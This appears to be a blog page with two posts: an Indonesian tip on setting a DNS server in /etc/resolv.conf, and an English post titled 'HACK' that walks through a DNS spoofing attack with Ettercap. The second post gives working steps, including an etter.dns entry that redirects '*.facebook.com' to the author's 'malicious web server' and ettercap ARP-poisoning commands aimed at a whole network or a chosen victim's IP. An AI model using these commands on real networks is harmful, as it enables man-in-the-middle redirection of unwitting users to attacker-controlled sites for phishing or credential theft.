Set DNS di Linux

Mengalami masalah aneh pada modem saya yang sudah terkoneksi tetapi tidak bisa membuka halaman seperti google.com dan lainya. Setelah saya cek "ping 8.8.8.8" ternyata tidak ada masalah, namun ketika saya cek "ping google.com" ternyata alamat tersebut tidak ditemukan. Saya bingung mau ngeset DNS dimana, karena ini koneksi broadband dan kurang begitu tau untuk cara setting DNS di koneksi broadband.

Setelah googling - googling, menemukan sebuah cara simpel untuk melakukan setting tersebut

1. Buka dan edit resolv.conf di /etc, sudo nano /etc/resolv.conf
2. Tambahkan baris ini untuk DNS Google, nameserver 8.8.8.8
3. Simpan dan coba melakukan cek dengan mengetikkan, host google.com atau dig google.com

Selamat mencoba :)

HACK : Playing DNS Spoofing with Ettercap

Before sleep, I want to play with some tutorial on the net. It's about DNS spoofing, and used ettercap to do it! First, you must have ettercap installed on your computer. To download ettercap, type

sudo apt-get install ettercap-graphical

Now lets redirect our victim to websites of our choosing. First open a new console and change to our dns configuration file located in the following directory:

/usr/share/ettercap

Enter the following command to open the configuration file so we can edit it, I use gedit to edit it but you can use many other programs such as kedit:

gedit etter.dns

Now see the line that says microsoft.com A 198.182.196.56

That line will redirect the victim to 198.182.196.56 if they attempt to visit microsoft.com

I will give you an example by showing you I can redirect the victim to my own malicious web server running on my IP address (192.168.1.118) if they attempt to visit lets say http://www.facebook.com This example also uses a wildcard (*)We do this by adding the following line:

*.facebook.com A 192.168.1.118

Save it. Now We can issue the actual command that begins Ettercap and uses the dns spoofing addon:

ettercap -T -q -M arp:remote -P dns_spoof //

or if we want to target a specific victim IP address use this:

ettercap -i yourinterface -T -q -P dns_spoof -M ARP /herevictimslocalip/ //

Leave that running. The output that ettercap displays will clearly notify you as people are redirected.